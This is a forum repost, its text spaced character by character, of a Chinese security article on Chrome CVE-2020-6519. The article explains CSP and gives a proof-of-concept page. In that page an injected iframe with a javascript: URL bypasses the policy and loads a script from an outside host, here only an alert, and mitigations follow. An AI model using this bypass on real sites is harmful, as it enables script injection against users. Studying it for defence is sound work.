搜索

[2124] 2020-08-19_ChromeCVE-2020-6519CSPBypass

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-16
2020-08-19_ChromeCVE-2020-6519CSPBypass C h r o m e   C V E - 2 0 2 0 - 6 5 1 9   C S P   B y p a s s 原 创   e c h o _ d   E D I 安 全   2 0 2 0 - 0 8 - 1 9 收 录 于 话 题   # 安 全 武 器 库   , 8 个 点 击 蓝 字 点 击 蓝 字   ·     关 注 我 们 关 注 我 们 C S P   了 解 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 x 0 1   背 景 网 站 的 安 全 模 式 源 于 “ 同 源 策 略 ” ， w e b 浏 览 器 允 许 第 一 个 w e b 页 面 中 的 脚 本 访 问 页 面 中 的 数 据 ， 但 前 提 是 两 个 w e b 页 面 具 有 相 同 的 源 。 此 策 略 防 止 一 个 页 面 的 恶 意 脚 本 通 过 该 页 面 的 文 档 访 问 另 一 个 网 页 上 的 敏 感 数 据 。 规 则 ： 协 议 、 主 机 、 和 端 口 号 ” 同 源 策 略 ” , 简 而 言 之 , 就 是 说 一 个 页 面 的 资 源 只 能 从 与 之 同 源 的 服 务 器 获 取 , 而 不 允 许 跨 域 获 取 . 这 样 可 以 避 免 页 面 被 注 入 恶 意 代 码 , 影 响 安 全 . 但 是 这 个 策 略 是 个 双 刃 剑 , 挡 住 恶 意 代 码 的 同 时 也 限 制 了 前 端 的 灵 活 性 。 通 过 c s p 我 们 可 以 制 定 一 系 列 的 策 略 , 从 而 只 允 许 我 们 页 面 向 我 们 允 许 的 域 名 发 起 跨 域 请 求 , 而 不 符 合 我 们 策 略 的 恶 意 攻 击 则 被 挡 在 门 外 。 0 2 0 2 0 2 0 2 0 2 0 2 0 2 0 2 0 2 0 2 0 2 0 2 0 2 0 2 0 2 0 2 0 x 0 2     C S P 全 称 C o n t e n t   S e c u r i t y   P o l i c y   , 可 以 直 接 翻 译 为 内 容 安 全 策 略 , 为 了 页 面 内 容 安 全 而 制 定 的 一 系 列 防 护 策 略 .   通 过 C S P 所 约 束 的 的 规 则 , 指 定 可 信 的 内 容 来 源 （ 这 里 的 内 容 可 以 指 脚 本 、 图 片 、 i f r a m e 、 f t o n 、 s t y l e 等 等 可 能 的 远 程 的 资 源 ） 。 通 过 C S P 协 定 ， 让 W E B 处 于 一 个 安 全 的 运 行 环 境 中 。 C S P   e x a m p l e   d e m o 可 以 看 到 ， 通 过 设 置 允 许 加 载 的 远 程 资 源 地 址 后 ， w e i x i n . q q . c o m   放 了 一 个 不 存 在 的 j s , 返 回 4 0 4 ， 显 然 是 可 以 加 载 的 。 而 我 们 的 e v a l . e d i s e . c o m     由 于 不 在 允 许 加 载 的 远 程 地 址 内 ， 所 以 遭 到 C S P 拦 截 。 B y p a s s   C S P   p o c . h t m l < m e t a   h t t p - e q u i v = " C o n t e n t - S e c u r i t y - P o l i c y "   c o n t e n t = " o b j e c t - s r c   ' n o n e ' ;   c h i l d - s r c   ' n o n e ' ;   s c r i p t - s r c   ' s e l f '   h t t p : / / w e i x i n . q q . c o m /   ' u n s a f e - i n l i n e ' " > < h t m l >                 < h e a d >           < m e t a   h t t p - e q u i v = " C o n t e n t - S e c u r i t y - P o l i c y "   c o n t e n t = " o b j e c t - s r c   ' n o n e ' ;   c h i l d - s r c   ' n o n e ' ;   s c r i p t - s r c   ' s e l f '   h t t p : / / w e i x i n . q q . c o m /   ' u n s a f e - i n l i n e ' " >                 < / h e a d >                 < b o d y >                                 < d i v   i d = " L O G " > < / d i v >                                 < s c r i p t   s r c = " h t t p : / / w e i x i n . q q . c o m / d e m o . j s " > < / s c r i p t >                                 < s c r i p t   s r c = " h t t p : / / e v a l . e d i s e c . c o m / a . j s " > < / s c r i p t >                 < / b o d y > < / h t m l > < h t m l >         < h e a d >           < m e t a   h t t p - e q u i v = " C o n t e n t - S e c u r i t y - P o l i c y "   c o n t e n t = " o b j e c t - s r c   ' n o n e ' ;   c h i l d - s r c   ' n o n e ' ;   s c r i p t - s r c   ' s e l f '   h t t p : / / w e i x i n . q q . c o m /   ' u n s a f e - i n l i n e ' " >         < / h e a d >         < b o d y >                 < d i v   i d = " L O G " > < / d i v > 1                   < s c r i p t   s r c = " h t t p : / / w e i x i n . q q . c o m / d e m o . j s " > < / s c r i p t >                 < s c r i p t   s r c = " h t t p : / / e v a l . e d i s e c . c o m / a . j s " > < / s c r i p t >         < / b o d y >           < s c r i p t   t y p e = " t e x t / j a v a s c r i p t " > d o c u m e n t . w r i t e ( " < i f r a m e   s r c = ' j a v a s c r i p t : v a r   s   =   d o c u m e n t . c r e a t e E l e m e n t ( " s c r i p t " ) ; s . s r c   =   " h t t p : / / e v a l . e d i s e c . c o m / a . j s " ; d o c u m e n t . b o d y . a p p e n d C h i l d ( s ) ; ' > < / i f r a m e > " ) < / s c r i p t >
h t t p : / / e v a l . e d i s e c . c o m / a . j s a l e r t ( " E D I S E C   B y p a s s   t e s t   s u c c e s s ! " ) ; 对 C o n t e n t - S e c u r i t y - P o l i c y 限 制 h t t p : / / w e i x i n . q q . c o m /   进 行 绕 过 修 复 方 式 确 保 C S P 规 则 的 正 确 性 和 有 效 性 ； 基 于 J S   进 行 检 测 在 C S P 的 基 础 上 ， 添 加 随 机 数 或 哈 希 来 额 外 增 加 一 层 防 护 欢 迎 关 注 我 们 ， 欢 迎 关 注 我 们 ， E D I 安 全 ， 期 待 与 您 一 起 共 同 学 习 ， 成 长 。 安 全 ， 期 待 与 您 一 起 共 同 学 习 ， 成 长 。 E D I 安 全 安 全 一 个 专 注 渗 透 实 战 经 验 分 享 的 公 众 号 < / h t m l > 扫 二 维 码 ｜ 关 注 我 们 扫 二 维 码 ｜ 关 注 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理